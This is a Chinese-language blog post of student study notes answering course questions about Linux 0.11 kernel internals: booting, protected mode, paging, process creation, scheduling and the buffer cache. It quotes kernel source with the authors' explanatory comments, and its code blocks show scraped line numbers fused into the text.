_sys_fork: call _find_empty_process ; kernel/fork.c 寻找空的进程任务号 task[i] testl %eax,%eax ;1 js 1f ; f d 前后的意思 push %gs pushl %esi pushl %edi pushl %ebp pushl %eax call _copy_process ;操作系统核心函数!!!复制进程!!!!!! addl $20,%esp1: ret
注意,当_sys_fork执行完之后,会回到 _system_call 继续往下执行,执行到下面一条语句的时候跳转
je 3f ; 如果当前进程是进程0,跳转到下面的3处执行,现在是进程0,所以跳转
3处最后的iret会把ss、esp、eflags、cs、eip弹出,eip存储的是_syscall0中int $0x80的下一行,也就是if (__res >= 0)
1234567891011121314151617181920212223242526272829303132333435363738.align 2_system_call:........... call _sys_call_table(,%eax,4) ; 从这里过去的 pushl %eax ; 回到这里!! movl _current,%eax cmpl $0,state(%eax) # state jne reschedule cmpl $0,counter(%eax) # counter je rescheduleret_from_sys_call: movl _current,%eax # task[0] cannot have signals cmpl _task,%eax je 3f ; 如果当前进程是进程0,跳转到下面的3处执行,现在是进程0,所以跳转 cmpw $0x0f,CS(%esp) # was old code segment supervisor ? jne 3f cmpw $0x17,OLDSS(%esp) # was stack segment = 0x17 ? jne 3f movl signal(%eax),%ebx movl blocked(%eax),%ecx notl %ecx andl %ebx,%ecx bsfl %ecx,%ecx je 3f btrl %ecx,%ebx movl %ebx,signal(%eax) incl %ecx pushl %ecx call _do_signal popl %eax3: popl %eax popl %ebx popl %ecx popl %edx pop %fs pop %es pop %ds iret
这个时候,res就是eax,eax是哪里得到的呢? 是在_system_call的时候(也就是int $0x80的时候),call完了sys_fork的时候,sys_fork返回时,执行的pushl %eax, sys_fork的返回值是last_pid,也就是创建的的pid,此时就是1
123456kernel/system_call.s.align 2_system_call: .... call _sys_call_table(,%eax,4) ; 从这里过去的 pushl %eax
12345678910111213#define _syscall0(type,name) \\type name(void) \\{ \\long __res; \\__asm__ volatile ("int $0x80" \\ //int 0x80到哪呀, syscall 在sched_init那里,执行完,特权变0 : "=a" (__res) \\ : "0" (__NR_##name)); \\ //把name 贴过来if (__res >= 0) \\ return (type) __res; \\errno = -__res; \\return -1; \\}
调用完了fork回到main,fork的返回值是1,所以!fork()是0,不进入到里面执行,进入到下面的pause
12345if (! fork()) { /* we count on this going ok */ init(); //进程1 }for(;;) pause(); //这一行是进程0的代码
12345678kernel/sched.hint sys_pause(void){ current->state = TASK_INTERRUPTIBLE; schedule(); return 0;}
进入schedule调度函数
25、打开保护模式、分页后,线性地址到物理地址是如何转换的?26、getblk函数中,申请空闲缓冲块的标准就是b_count为0,而申请到之后,为什么在wait_on_buffer(bh)后又执行if(bh->b_count)来判断b_count是否为0?p114
这个要看wait_on_buffer函数的功能了,它里面有sleep_on函数,而sleep_on函数里面包含了schedule函数,虽然现在的缓冲块是合适的,但是有可能在睡眠阶段的时候被别的任务占用,所以在使用之前需要判断是否被修改了,修改的话就需要等待解锁
1234567891011121314151617181920212223242526272829fs/buffer.c static inline void wait_on_buffer(struct buffer_head * bh){ cli(); while (bh->b_lock) sleep_on(&bh->b_wait); //bh在哪? bh全局的,buf init那里 //不要傻等,切进程, 有主动轮询变为被动响应 sti();}kernel/sched.hvoid sleep_on(struct task_struct **p){ struct task_struct *tmp;// 有的是请求项 有的是缓冲块等待队列 if (!p) return; if (current == &(init_task.task)) panic("task[0] trying to sleep"); tmp = *p; // bh->b_wait *p = current; current->state = TASK_UNINTERRUPTIBLE; schedule(); if (tmp) tmp->state=0;}
27、b_dirt已经被置为1的缓冲块,同步前能够被进程继续读、写?给出代码证据。p331
要回答这个问题先得了解下b_uptodate,b_uptodate设置为1的时候(P326),标志着缓冲块中的数据是基于硬盘数据块的,内核可以放心地支持进程与缓冲块进行数据交互.
此时,读操作不会改写缓冲块的数据,所以不会影响硬盘数据块的内容,如果写的话,就需要改变缓冲块的内容,此时,将b_dirt置为1,在同步前,当然可以继续读写了..我觉得这很显然.
老师大概想表达的意思是,b_dirt虽然被置为1了,但是在此之前,硬盘->缓冲块这一路径已经同步过了,没有改写的部分是同步的,改写的那肯定就是改写的,所以不影响我们继续读写, b_uptodate仍然设置为1,它为1就标志着我们仍然可以读写
代码证据 想要的证据是说读写都不需要检查b_dirt位嘛?或者说改变了b_dirt不会改变b_uptodate?
P331的file_write
P314的 file_read
P330的 bread getblk
1
28、分析panic函数的源代码,根据你学过的操作系统知识,完整、准确的判断panic函数所起的作用。假如操作系统设计为支持内核进程(始终运行在0特权级的进程),你将如何改进panic函数?赵炯p175
kernel/panic.c
123456789101112131415161718192021222324/* * linux/kernel/panic.c * * (C) 1991 Linus Torvalds *//* * This function is used through-out the kernel (includeinh mm and fs) * to indicate a major problem. */#include <linux/kernel.h>#include <linux/sched.h>void sys_sync(void); /* it's really int */volatile void panic(const char * s){ printk("Kernel panic: %s\n\r",s); if (current == task[0]) printk("In swapper task - not syncing\n\r"); else sys_sync(); for(;;);}
sys_sync 在 fs/buffer.c
1234567891011121314int sys_sync(void){ int i; struct buffer_head * bh; sync_inodes(); /* write out inodes into buffers */ bh = start_buffer; for (i=0 ; i<NR_BUFFERS ; i++,bh++) { wait_on_buffer(bh); if (bh->b_dirt) ll_rw_block(WRITE,bh); } return 0;}
29、详细分析进程调度的全过程。考虑所有可能(signal、alarm除外)p103 p125
30、wait_on_buffer函数中为什么不用if()而是用while()? 因为它可能会执行很多次呀,要进行轮询,if只能判断一次,那为啥可能会执行很多次呢? 因为操作系统是很复杂,存在很多种可能,其中一种就是:
很多歌进程都在等待同一个缓冲块,在缓冲块同步完毕的时候,唤醒各个等待进程到轮转到某一个进程的过程中,很有可能此时的缓冲块又被其他进程占用了,并且被加上了锁. 如果用if的话,只判断一次,就会出现错误,while的话则会重新判断.
12345678910fs/buffer.c static inline void wait_on_buffer(struct buffer_head * bh){ cli(); while (bh->b_lock) sleep_on(&bh->b_wait); //bh在哪? bh全局的,buf init那里 //不要傻等,切进程, 有主动轮询变为被动响应 sti();}
31、操作系统如何利用b_uptodate保证缓冲块数据的正确性?new_block (int dev)函数新申请一个缓冲块后,并没有读盘,b_uptodate却被置1,是否会引起数据混乱?详细分析理由。p325、328、329
b_uptodate针对进程方向,它的作用是告诉内核,只要缓冲块的b_uptodate位1,则缓冲块的数据就是数据块中最新的了,可以放心地支持进程共享缓冲块的数据.反之如果为0,就提醒内核缓冲块并没有用绑定的数据块中的数据更新,不支持进程共享该缓冲块
new_block是在设备商申请一个新的数据块,那么数据块里面此时是脏数据,不用管(是要管的,需要清零),那为啥把b_uptodate设置为1呢,因为缓冲块里也是脏数据,缓冲块和数据块都是脏数据,根本就不需要同步,同步也是浪费时间和精力
下面进行详细的分析,新建的数据块只能用于两种用途,一种是存储文件的内容,一种是存储文件的i_zone的间接块管理信息.
如果是存储文件的内容的话,就是上面所说,都是垃圾数据,不需要同步,不需要清零的其实,问题已经解决(或者说本身没有问题)
如果是存储i_zone的间接块管理信息,则必须将缓冲块清零,表示没有索引间接数据块,否则垃圾数据会导致索引错误,破坏文件操作的正确性,这个时候虽然缓冲块和硬盘数据块的数据不一致,但和第一种情况一样,b_uptodate设置为1即可
12345678910111213fs/Bitmap.c int new_block(int dev){......... if (bh->b_count != 1) panic("new block: count is != 1"); clear_block(bh->b_data); bh->b_uptodate = 1; bh->b_dirt = 1; brelse(bh); return j;}
32、add_request()函数中有下列代码 其中的xxx是什么意思?p121
赵炯的书p202
测试块设备的当前请求项指针是不是为空(也就是没有请求项,设备空闲),如果是的话,就会设置该新建的请求项为当前请求项,作为请求项链表的表头
kernel/blk_dev/ll_rw_block.c
1234567891011121314151617181920/* * add-request adds a request to the linked list. * It disables interrupts so that it can muck with the * request-lists in peace. */static void add_request(struct blk_dev_struct * dev, struct request * req){..... if (!(tmp = dev->current_request)) { dev->current_request = req; sti(); (dev->request_fn)(); // return; }.....}问的是,以下代码if (!(tmp = dev->current_request)) { dev->current_request = req;
33、do_hd_request()函数中dev的含义始终一样吗?p122
赵炯p195
kernel/blk_dev/hd.c
34、read_intr()函数中,下列代码是什么意思?为什么这样做?p131
read_intr()函数会将已经读到硬盘缓存中的数据复制到刚才被锁定的那个缓冲块中(注意,锁定的意思是阻止进程方面的操作,而不是阻止外设方面的操作)
但是一次不一定就读完呀,所以就会有下面的代码,来判断请求项对应的缓冲块的数据是否读完了,如果没有读完的话,内核将再次把read_intr()绑定在硬盘中断服务程序上,以待下次使用,之后中断服务程序返回
其实还没太理解这个–,是减的什么东西
kernel/blk_dev/hd.c
12345678910111213141516171819202122232425static void read_intr(void){ if (win_result()) { bad_rw_intr(); do_hd_request(); return; } port_read(HD_DATA,CURRENT->buffer,256); CURRENT->errors = 0; CURRENT->buffer += 512; CURRENT->sector++; if (--CURRENT->nr_sectors) { do_hd = &read_intr; //再来一次 return; } end_request(1); // do_hd_request();}问的是这一段代码是什么意思 if (--CURRENT->nr_sectors) { do_hd = &read_intr; //再来一次 return; }
请求项的结构体在哪?
kernel/lkd_drv/blk.h
1234567891011121314151617/* * Ok, this is an expanded form so that we can use the same * request for paging requests when that is implemented. In * paging, 'bh' is NULL, and 'waiting' is used to wait for * read/write completion. */struct request { int dev; /* -1 if no request */ int cmd; /* READ or WRITE */ int errors; unsigned long sector; unsigned long nr_sectors; char * buffer; struct task_struct * waiting; struct buffer_head * bh; struct request * next;};
35、bread()函数代码中为什么要做第二次if (bh->b_uptodate)判断?p112、134. 赵炯 p342
第一次是在找有没有被使用过的
fs/buffer.c
12345678910111213141516171819/* * bread() reads a specified block and returns the buffer that contains * it. It returns NULL if the block was unreadable. */struct buffer_head * bread(int dev,int block){ struct buffer_head * bh;// if (!(bh=getblk(dev,block))) //找不到就应该继续等,所以不应该为空 panic("bread: getblk returned NULL\n"); if (bh->b_uptodate) return bh; ll_rw_block(READ,bh); //开始读写硬盘了,硬盘驱动 wait_on_buffer(bh); if (bh->b_uptodate) return bh; brelse(bh); return NULL;}
36、getblk()函数中,两次调用wait_on_buffer()函数,两次的意思一样吗?p125 bread里面一次
37、getblk()函数中 do { if (tmp->b_count) continue; if (!bh || BADNESS(tmp)<BADNESS(bh)) { bh = tmp; if (!BADNESS(tmp)) break; }/* and repeat until we find something good */ } while ((tmp = tmp->b_next_free) != free_list);说明什么情况下执行continue、break。38、make_request()函数 if (req < request) { if (rw_ahead) { unlock_buffer(bh); return; } sleep_on(&wait_for_request); goto repeat;其中的sleep_on(&wait_for_request)是谁在等?等什么?参考资料《Linux内核设计的艺术 第二版》 新设计团队
《Linux内核完全注释》 赵炯
《IA32》 手册 第三卷
https://www.likecs.com/show-204742912.html
https://github.com/sunym1993/flash-linux0.11-talk
ucas-操作系统-思考题上
思考题 上1.为什么开始启动计算机的时候,执行的是BIOS代码而不是操作系统自身的代码?p1
因为在启动加电时,操作系统本身还没有加载进内存,内存中是空的(或者说乱七八糟的东西?),无法进行执行.(CPU的逻辑电路被设定为只能运行内存中的程序) 而bios中的代码是写死的,所以可以直接跳转到biso处进行执行.
2.为什么BIOS只加载了一个扇区,后续扇区却是由bootsect代码加载?为什么BIOS没有直接把所有需要加载的扇区都加载?加载了一个扇区之后,操作系统就有能力继续加载后续的扇区了,这样做的原因大概是为了减小bios的大小? 或者提高速度? 或者给操作系统设计者更大的自由空间?
bootsect需要进行规划内存,(为啥bios不能规划呢? 因为取决于操作系统?不同的操作系统不一样),进行一些自定义的内容. 而且bios来的话,应该是比较慢的,全加载进去再执行的话,一个是慢,还有就是不灵活.所以linux采用的是边加载边执行的思路!
上面的回答大概应该都有一点
3.为什么BIOS把bootsect加载到0x07c00,而不是0x00000?加载后又马上挪到0x90000处,是何道理?为什么不一次加载到位?p8
感觉这就是个约定问题,就好像12345这样一样
挪到0x90000是因为操作系统设计者对内存的规划,原先加载到0x07c00是统一的,之后可以按照自己的分配来进行
4.bootsect、setup、head程序之间是怎么衔接的?给出代码证据。
bootsect和setup的衔接bootsect 把自己移位,然后先把setup加载到0x90200开始的四个扇区,又把从硬盘第 6 个扇区开始往后的 240 个扇区,加载到内存 0x10000 处
然后通过下面这条指令跳转到setup
jmpi 0,SETUPSEG; 0x9020 跳转到setup.s开始继续执行了!!! (此时还是实模式, 偏移地址+ 基地址, 0+ 0x9020*0x10 = 0x90200
12345678910111213141516171819202122232425262728293031323334353637383940414243;移位entry start start: ;内存中0x07C00对应的就是这里 mov ax,#BOOTSEG ;0x07C00 mov ds,ax mov ax,#INITSEG ;0x9000 mov es,ax ;进行复制,挪位置,把0x07c00 挪到0x9000 mov cx,#256 sub si,si sub di,di rep movw ;移动一个字 两个字节 512 /2 -256次 jmpi go,INITSEG ; 跳到新的位置,;加载setup.s的四个扇区load_setup: ; 加载4个扇区 mov dx,#0x0000 ! drive 0, head 0 mov cx,#0x0002 ! sector 2, track 0 mov bx,#0x0200 ! address = 512, in INITSEG mov ax,#0x0200+SETUPLEN ! service 2, nr of sectors int 0x13 ! read it bios的中断,读取磁盘 jnc ok_load_setup ! ok - continue mov dx,#0x0000 mov ax,#0x0000 ! reset the diskette int 0x13 j load_setup;加载head和剩余的操作系统ok_load_setup:! 把从硬盘第 6 个扇区开始往后的 240 个扇区,加载到内存 0x10000 处 mov ax,#SYSSEG。;0x1000 mov es,ax ! segment of 0x010000 call read_it call kill_motor seg cs mov ax,root_dev cmp ax,#0 jne root_defined;跳转到setup.sroot_defined: seg cs mov root_dev,ax jmpi 0,SETUPSEG; 0x9020 跳转到setup.s开始继续执行了!!!
setup.s和head.s的衔接1.setup.s把head.s及之后的代码都移动到了内存0开始的地方(do_move)
2.设置gdt、ldt(end_move)
3.开保护模式, jmpi 0,8 跳转到了head.s
123mov ax,#0x0001 ! protected mode (PE) bit。 保护模式. PE,不是任何人都可以修改lmsw ax ! This is it!jmpi 0,8 ! jmp offset 0 of segment 8 (cs) gdt的1项, 0开始编号,第二项
5.setup程序的最后是jmpi 0,8 ,为什么这个8不能简单的当作阿拉伯数字8看待,究竟有什么内涵?p25
https://mp.weixin.qq.com/s/S5zarr9BmLhUHAmdmeNypA
123mov ax,#0x0001 ; protected mode (PE) bitlmsw ax ; This is it;jmpi 0,8 ! jmp offset 0 of segment 8 (cs) gdt的1项, 0开始编号,第二项
在执行这条指令前已经转变为了保护模式, 保护模式的寻址方式变了,需要通过段选择子,段寄存器中存储的不再是地址,而是段选择子
0 表示段内偏移地址, 8代表cs(代码段)的值, 更具体而言,8是 0000,0000,0000,1000
根据下图段选择子的结构可以看出,1是代表了描述符索引,即gdt表的第一项,也就是现在地址的0!
gdt表在此之前已经初始化过,第一项是内核代码段,base address = 0 , 偏移地址也是0,所以跳转到内存的0地址
123456789101112gdt: .word 0,0,0,0 ; dummy .word 0x07FF ; 8Mb - limit=2047 (2048*4096=8Mb) .word 0x0000 ; base address=0 .word 0x9A00 ; code read/exec .word 0x00C0 ; granularity=4096, 386 .word 0x07FF ; 8Mb - limit=2047 (2048*4096=8Mb) .word 0x0000 ; base address=0 .word 0x9200 ; data read/write .word 0x00C0 ; granularity=4096, 386
6.保护模式在“保护”什么?它的“保护”体现在哪里?特权级的目的和意义是什么?分页有“保护”作用吗?p438
保护模式在保护段,通过段机制划分不同的段,设置各个段的访问权限. 增加了段限长,防止了对代码段的覆盖以及超越权限的访问
特权级的目的是 阻止非法的访问, 对用户进程之间进行了隔离
意义是保护了资源
分页有保护作用,分页使得用户无法直接找到物理地址,用户只能操作逻辑地址,而逻辑地址需要先转化为线性地址,然后才能进一步转化为物理地址
7.在setup程序里曾经设置过gdt,为什么在head程序中将其废弃,又重新设置了一个?为什么设置两次,而不是一次搞好?p33
因为第一次设置GDT是在setup.s里面设置的数据,setup.s将来会在设计缓冲区时被覆盖,所以需要改变位置. 其实这是设计者精心打磨内存使用空间而产生的后果,尽可能不浪费一点空间,head.s执行时,gdt又被写到了head.s执行过的程序中,实现了内存的充分利用.
8.进程0的task_struct在哪?具体内容是什么?在哪?include/linux/sched.h 是写死的,在INIT_ TASK里,运行时位于内核数据区
在未初始化进程0之前,使用的是boot阶段的内核栈(user_stack) 很奇怪吧,内核栈却叫user_stack,p34
具体内容?包含了进程各项初始化的内容,具体的话可以看task_struct,附在下面了. (include/linux/sched.h )
如:进程0的进程状态,LDT,TSS等 p68
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758/* * INIT_TASK is used to set up the first task table, touch at * your own risk!. Base=0, limit=0x9ffff (=640kB) */ // 下面的就是进程0的各个参数的具体值#define INIT_TASK \/* state etc */ { 0,15,15, \ // 0是说可以跑,而不是正在跑 /* signals */ 0,{{},},0, \/* ec,brk... */ 0,0,0,0,0,0, \/* pid etc.. */ 0,-1,0,0,0, \/* uid etc */ 0,0,0,0,0,0, \/* alarm */ 0,0,0,0,0,0, \/* math */ 0, \/* fs info */ -1,0022,NULL,NULL,NULL,0, \/* filp */ {NULL,}, \ { \ {0,0}, \/* ldt */ {0x9f,0xc0fa00}, \ {0x9f,0xc0f200}, \ }, \/*tss*/ {0,PAGE_SIZE+(long)&init_task,0x10,0,0,0,0,(long)&pg_dir,\ 0,0,0,0,0,0,0,0, \ 0,0,0x17,0x17,0x17,0x17,0x17,0x17, \ _LDT(0),0x80000000, \ {} \ }, \}struct task_struct { // 非常非常非常重要,操作系统里最核心的东西/* these are hardcoded - don't touch */ long state; /* -1 unrunnable, 0 runnable, >0 stopped */ //状态 long counter; //时间片 long priority; long signal; struct sigaction sigaction[32]; long blocked; /* bitmap of masked signals *//* various fields */ int exit_code; unsigned long start_code,end_code,end_data,brk,start_stack; //malloc从这里划 long pid,father,pgrp,session,leader; unsigned short uid,euid,suid; unsigned short gid,egid,sgid; long alarm; long utime,stime,cutime,cstime,start_time; unsigned short used_math;/* file system info */ int tty; /* -1 if no tty, so it must be signed */ unsigned short umask; struct m_inode * pwd; struct m_inode * root; struct m_inode * executable; unsigned long close_on_exec; struct file * filp[NR_OPEN];/* ldt for this task 0 - zero 1 - cs 2 - ds&ss */ struct desc_struct ldt[3];/* tss for this task */ struct tss_struct tss;};
9.内核的线性地址空间是如何分页的?画出从0x000000开始的7个页(包括页目录表、页表所在页)的挂接关系图,就是页目录表的前四个页目录项、第一个页表的前7个页表项指向什么位置?给出代码证据。p37
赵炯p438
注意是线性地址空间,线性地址空间远大于物理地址空间,线性地址空间是 64k * 64k = 4G。 0xFFFFFF 2的32次方
分页4k大小为一页
setup_paging开始
第一页是页目录表,随后的4个页表是内核专属的页表
分别代表什么呢? 第一个是不是gdt?? gdt在哪??
12345678910111213141516171819202122232425head.s.align 2setup_paging: movl $1024*5,%ecx /* 5 pages - pg_dir+4 page tables */ xorl %eax,%eax xorl %edi,%edi /* pg_dir is at 0x000 */ cld;rep;stosl movl $pg0+7,_pg_dir /* set present bit/user r/w 111 */ ;111 已分页 三特权? 可读写 movl $pg1+7,_pg_dir+4 /* --------- " " --------- */ movl $pg2+7,_pg_dir+8 /* --------- " " --------- */ movl $pg3+7,_pg_dir+12 /* --------- " " --------- */ movl $pg3+4092,%edi movl $0xfff007,%eax /* 16Mb - 4096 + 7 (r/w user,p) */ std1: stosl /* fill pages backwards - more efficient :-) */ subl $0x1000,%eax jge 1b xorl %eax,%eax /* pg_dir is at 0x0000 */ movl %eax,%cr3 /* cr3 - page directory start 恒等映射 物理 = 线性*/ movl %cr0,%eax orl $0x80000000,%eax /*打开分页*/ movl %eax,%cr0 /* set paging (PG) bit */ ret /* this also flushes prefetch-queue */ ; 切换到main函数
页目录表、页表、页一个页目录表项是4byte,也就是32位,通过它来寻址一个页表, 页目录表一共4* 1024 = 4k大小
一个页表也是4byte,每一个页表有1024个页表项,也是 4k 占用一页
开始的前7个页是什么意思呢?p39
也就是前7个4k, 第一个4k是页目录表,第2~7个4k是第一个页表的
赵炯p78
挂接关系图p39
10.在head程序执行结束的时候,在idt的前面有184个字节的head程序的剩余代码,剩余了什么?为什么要剩余?11.为什么不用call,而是用ret“调用”main函数?画出调用路线图,给出代码证据。https://mp.weixin.qq.com/s/ISyaX5zPWRw_d-9zvZUPUg
因为main函数是整个系统的运行函数,它不能被call,没有比它等级更高的,call的话是需要返回的,main不需要返回,main结束了,就关机了(
正常函数调用是会把eip(被掉函数返回时 返回的地址) 进行压栈, ret的时候取出来,进入到这里继续执行,main不能被调用,但可以伪造被调用的假象,然后也进行ret,就可以进入到main里了
调用路线图 p42正常的call
模仿的call
代码head.s123456789101112131415startup_32: jmp after_page_tablesafter_page_tables: pushl $0 # These are the parameters to main :-) pushl $0 pushl $0 pushl $L6 # return address for main, if it decides to. pushl $_main ; 后面把这个pop出来 jmp setup_pagingsetup_paging: ... ret ;回到main函数
12.用文字和图说明中断描述符表是如何初始化的,可以举例说明(比如:set_trap_gate(0,÷_error)),并给出代码证据。p53页
/init/main.c trap_init();
/kernel/trap.c trap_init()
/include/asm/system.h
1234567891011121314151617181920//设置中断门函数#define set_intr_gate(n,addr) \ // n 中断号 addr 中断程序偏移地址 _set_gate(&idt[n],14,0,addr) //&idt[n]对应中断号在中断描述符表中的偏移值;中断描述符的类型是 14,特权级是 0。//设置陷阱门函数#define set_trap_gate(n,addr) \ _set_gate(&idt[n],15,0,addr) // idt表的n项,f,0, 0对应dpl,15对应type ,以二进制来看到//设置系统调用门函数#define set_system_gate(n,addr) \ _set_gate(&idt[n],15,3,addr)#define _set_gate(gate_addr,type,dpl,addr) \__asm__ ("movw %%dx,%%ax\n\t" \ //实现了偏移的拆分 "movw %0,%%dx\n\t" \ //将偏移的低字给dx "movl %%eax,%1\n\t" \ "movl %%edx,%2" \ //差四字节 : \ : "i" ((short) (0x8000+(dpl<<13)+(type<<8))), \ "o" (*((char *) (gate_addr))), \ "o" (*(4+(char *) (gate_addr))), \ "d" ((char *) (addr)),"a" (0x00080000)) // jump 08》???
13.在IA-32中,有大约20多个指令是只能在0特权级下使用,其他的指令,比如cli,并没有这个约定。奇怪的是,在Linux0.11中,3特权级的进程代码并不能使用cli指令,这是为什么?请解释并给出代码证据。原因解释: 这个东西和特权级有关(废话),这个是intel的规定,cli和sti与CPL和EFLAGS[IOPL]相关,通过EFLAGS中的IOOPL来保护一些敏感io指令,如cli、sti、in、out等,只有当CPL≤IOPL时才能执行,也就是说当前特权级大于IOPL设置的特权级才可以执行、否则会产生一个一般性保护异常
IOPL位于EFLAGS的12-13位,只能通过iret改变,linux0.11的0进程,INIT_TASK中IOPL为0,在move_to_user_mode中执行了pushfl\n\t,继承了内核的EFLAGS,所以用户态的3特权级大于IOPL的0特权级,无法调用cli
代码:move_to_user_mode1234567#define move_to_user_mode() \__asm__ ("movl %%esp,%%eax\n\t" \ "pushfl\n\t" \.... "iret\n" \ .... :::"ax")
INIT_TASK include/linux/sched.htss的第10位为0,可以在该文件下找到tss的结构,第10位就是eflags
123456789101112131415161718192021222324252627282930313233343536#define INIT_TASK \.../*tss*/ {0,PAGE_SIZE+(long)&init_task,0x10,0,0,0,0,(long)&pg_dir,\ 0,0,0,0,0,0,0,0, \ 0,0,0x17,0x17,0x17,0x17,0x17,0x17, \ _LDT(0),0x80000000, \ {} \ }, \}struct tss_struct { long back_link; /* 16 high bits zero */ long esp0; long ss0; /* 16 high bits zero */ long esp1; long ss1; /* 16 high bits zero */ long esp2; long ss2; /* 16 high bits zero */ long cr3; long eip; long eflags; long eax,ecx,edx,ebx; long esp; long ebp; long esi; long edi; long es; /* 16 high bits zero */ long cs; /* 16 high bits zero */ long ss; /* 16 high bits zero */ long ds; /* 16 high bits zero */ long fs; /* 16 high bits zero */ long gs; /* 16 high bits zero */ long ldt; /* 16 high bits zero */ long trace_bitmap; /* bits: trace 0, bitmap 16-31 */ struct i387_struct i387;};
14.进程0的task_struct在哪?具体内容是什么?给出代码证据。init/main.c sched_init();
kernel/sched.c
12345678910111213void sched_init(void) //调度程序的初始化子程序 { int i; struct desc_struct * p; if (sizeof(struct sigaction) != 16) panic("Struct sigaction MUST be 16 bytes"); //致命错误 set_tss_desc(gdt+FIRST_TSS_ENTRY,&(init_task.task.tss)); // 设置初始任务(任务 0)的任务状态段描述符和局部数据表描述符(include/asm/system.h,65)。 set_ldt_desc(gdt+FIRST_LDT_ENTRY,&(init_task.task.ldt));init_taskstatic union task_union init_task = {INIT_TASK,}; // 这里进行类型转换
15.在system.h里读懂代码。这里中断门、陷阱门、系统调用都是通过_set_gate设置的,用的是同一个嵌入汇编代码,比较明显的差别是dpl一个是3,另外两个是0,这是为什么?说明理由。p51
12345678910111213141516171819#define _set_gate(gate_addr,type,dpl,addr) \__asm__ ("movw %%dx,%%ax\n\t" \ //实现了偏移的拆分 "movw %0,%%dx\n\t" \ //将偏移的低字给dx "movl %%eax,%1\n\t" \ "movl %%edx,%2" \ //差四字节 : \ : "i" ((short) (0x8000+(dpl<<13)+(type<<8))), \ "o" (*((char *) (gate_addr))), \ "o" (*(4+(char *) (gate_addr))), \ "d" ((char *) (addr)),"a" (0x00080000)) // jump 08》???//设置中断门函数#define set_intr_gate(n,addr) \ // n 中断号 addr 中断程序偏移地址 _set_gate(&idt[n],14,0,addr) //&idt[n]对应中断号在中断描述符表中的偏移值;中断描述符的类型是 14,特权级是 0。//设置陷阱门函数#define set_trap_gate(n,addr) \ _set_gate(&idt[n],15,0,addr) // idt表的n项,f,0, 0对应dpl,15对应type ,以二进制来看到//设置系统调用门函数#define set_system_gate(n,addr) \ _set_gate(&idt[n],15,3,addr)
这里也是特权级保护的思想, 大概申请者用于大于该东西的特权级才能访问(具体的比这个复杂, 参加IA32 第三卷)
set_system_gate是3,意思是系统调用可以由3特权级(即用户特权级)进行调用,其余两个为0的意思是只能由内核处理,禁止用户进程进行调用,这样就起到了保护系统的作用
16.进程0 fork进程1之前,为什么先调用move_to_user_mode()?用的是什么方法?解释其中的道理。p78
为什么要调用move_to_user_mode()? 因为Linux操作系统规定,除了进程0之外,所有进程都要由一个已有进程在3特权级下进行创建,所以进程0在fork进程1之前,要先从0特权级翻转到3特权级
Linux0.11是通过move_to_user_mode(),模仿中断返回动作,实现从0特权级转变为3特权级
方法(怎么实现翻转呢? IA32体系结构翻转特权级的方法之一是中断,进入中断的时候由3转0,返回的时候由0转3. int指令会引发CPU硬件完成SS、ESP、EFLAGS、CS、EIP的值按顺序进栈,返回时CPU执行iret指令会将栈中的值自动按反序恢复给这五个寄存器
既然要模拟中断返回,那么就需要模拟int(中断)时的压栈,就是前面5个push,最后调用iret进行返回,将SS,ESP,EFLAGS,CS,EIP按顺序交给CPU,CPU此时就翻转到了3特权级(具体的呢??)
代码include/asm/system.h
1234567891011121314#define move_to_user_mode() \__asm__ ("movl %%esp,%%eax\n\t" \ "pushl $0x17\n\t" \ //SS 0x17 = 10(第三项)1(ldt)11(特权级3 ) 代替inc int? 这是个段值,用户程序数据段 由0特权变为3特权 "pushl %%eax\n\t" \ //里面就是esp 对的,看第一句 "pushfl\n\t" \ "pushl $0x0f\n\t" \ // 0000000000001111 最后两位11(特权级3) "pushl $1f\n\t" \ "iret\n" \ // 中断返回 (与中断不配套其实,单独出现的一个返回,前面是一个模拟中断) "1:\tmovl $0x17,%%eax\n\t" \ //开始3特权级 切3态的话 为什么说切到task0了? ldtr tr-> "movw %%ax,%%ds\n\t" \ // 进程0代码 分页的时候 + 7、 task数组,都可以说明是进程0 "movw %%ax,%%es\n\t" \ "movw %%ax,%%fs\n\t" \ "movw %%ax,%%gs" \ :::"ax")
17.在Linux操作系统中大量使用了中断、异常类的处理,究竟有什么好处? 在此之前是采用“主动轮巡”的方式来处理这些请求,在轮巡的时候干不了别的,很浪费时间. 所以不如采用被动的模式,即当有需要的时候,发送中断信号,告诉CPU进入到具体的中断处理程序进行处理. 这样使得CPU的处理更加高效.
18.copy_process函数的参数最后五项是:long eip,long cs,long eflags,long esp,long ss。查看栈结构确实有这五个参数,奇怪的是其他参数的压栈代码都能找得到,确找不到这五个参数的压栈代码,反汇编代码中也查不到,请解释原因。p83
是在int 0x80的时候,CPU硬件自动将ss、esp、eflags、cs、eip进行压栈(压入进程0的内核栈), (本意是保护存储压栈现场,使得中断返回后能够继续正常执行,在这里我们灵活取用了)
init/main.c
19.分析get_free_page()函数的代码,叙述在主内存中获取一个空闲页的技术路线。p89
赵炯p446
kernel/fork.c
1234567891011int copy_process(int nr,long ebp,long edi,long esi,long gs,long none, //none是 long ebx,long ecx,long edx, long fs,long es,long ds, long eip,long cs,long eflags,long esp,long ss) //int 0x80 ss esp啥呀这是{ //参数哪来的呢?? 传参了吗? 压栈放在栈里了, 主调函数往里放 在哪传的? struct task_struct *p; int i; struct file *f; p = (struct task_struct *) get_free_page(); //返回的指针做强制类型转换,把一块空间转换成一个struct if (!p)
mm/memory.c
12345678910111213141516171819202122232425/* * Get physical address of first (actually last :-) free page, and mark it * used. If no free pages left, return 0. */unsigned long get_free_page(void){register unsigned long __res asm("ax");__asm__("std ; repne ; scasb\n\t" "jne 1f\n\t" "movb $1,1(%%edi)\n\t" "sall $12,%%ecx\n\t" "addl %2,%%ecx\n\t" "movl %%ecx,%%edx\n\t" "movl $1024,%%ecx\n\t" "leal 4092(%%edx),%%edi\n\t" "rep ; stosl\n\t" "movl %%edx,%%eax\n" "1:" :"=a" (__res) :"0" (0),"i" (LOW_MEM),"c" (PAGING_PAGES), "D" (mem_map+PAGING_PAGES-1) :"di","cx","dx");return __res;}
20.分析copy_page_tables()函数的代码,叙述父进程如何为子进程复制页表。p97
参考资料《Linux内核设计的艺术 第二版》 新设计团队
《Linux内核完全注释》 赵炯
《IA32》 手册 第三卷
https://www.likecs.com/show-204742912.html
https://github.com/sunym1993/flash-linux0.11-talk